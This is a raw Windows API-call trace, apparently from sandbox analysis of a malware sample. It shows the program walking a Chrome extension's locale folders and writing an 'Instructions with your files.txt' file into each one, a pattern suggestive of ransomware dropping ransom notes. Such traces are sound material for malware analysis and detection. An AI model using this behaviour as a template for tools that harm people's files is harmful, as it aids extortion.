[0130.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.346] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\.") returned 152
[0130.346] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.346] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\..") returned 153
[0130.346] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8360e3b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83610ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x48f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.346] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json") returned 164
[0130.346] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.346] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8360e3b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83610ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x48f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.347] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\Instructions with your files.txt") returned 183
[0130.347] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.347] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.348] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.348] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.348] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.348] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.348] CloseHandle (hObject=0x134) returned 1
[0130.348] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.348] GetProcessHeap () returned 0x810000
[0130.348] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.348] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0130.349] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi") returned 150
[0130.349] GetProcessHeap () returned 0x810000
[0130.349] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.349] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*") returned 152
[0130.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.349] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\.") returned 152
[0130.350] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.350] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\..") returned 153
[0130.350] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83617ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x426b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.350] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json") returned 164
[0130.350] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.350] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83617ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x426b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.350] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\Instructions with your files.txt") returned 183
[0130.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.350] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.351] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.351] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.351] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.351] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.351] CloseHandle (hObject=0x134) returned 1
[0130.352] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.352] GetProcessHeap () returned 0x810000
[0130.352] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.352] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh", cAlternateFileName="")) returned 1
[0130.352] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh") returned 150
[0130.352] GetProcessHeap () returned 0x810000
[0130.352] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.352] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*") returned 152
[0130.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.352] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\.") returned 152
[0130.352] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.352] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\..") returned 153
[0130.352] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361f520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d11, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.352] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json") returned 164
[0130.352] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.352] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361f520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d11, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.352] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\Instructions with your files.txt") returned 183
[0130.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.353] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.354] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.354] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.354] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.354] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.354] CloseHandle (hObject=0x134) returned 1
[0130.354] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.354] GetProcessHeap () returned 0x810000
[0130.354] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.354] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0130.354] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW") returned 153
[0130.354] GetProcessHeap () returned 0x810000
[0130.354] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.354] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*") returned 155
[0130.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.355] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\.") returned 155
[0130.355] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.355] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\..") returned 156
[0130.355] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8362b870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.355] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json") returned 167
[0130.355] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.355] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8362b870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.356] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 186
